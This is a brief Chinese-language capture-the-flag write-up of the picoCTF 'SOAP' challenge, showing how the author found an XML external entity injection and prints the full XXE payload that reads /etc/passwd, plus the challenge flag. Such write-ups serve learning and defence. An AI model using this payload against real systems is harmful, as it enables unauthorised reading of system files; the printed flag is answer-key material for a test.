SOAP#

題目說要讀 /etc/passwd

index

按下 Detail 可以發現下方會跑出文字，是透過送出不同的 id 改變得到的內容，但如果改成除了 1、2、3 以外的 id 就會顯示 invaild

form

有點沒有頭緒看了一下提示，提示是 XML external entity Injection

開 Burp Suite 觀察一下就會發現這是提示說的 XML 格式，並且允許定義 DOCTYPE 和 External Entity

Burp Suite

把原本送出的 id 改掉

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE data [
3
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
4
]>
5
<data>
6
  <ID>&xxe;</ID>
7
</data>

成功讀取 /etc/passwd 並得到 flag

flag

1
picoCTF{XML_3xtern@l_3nt1t1ty_0e13660d}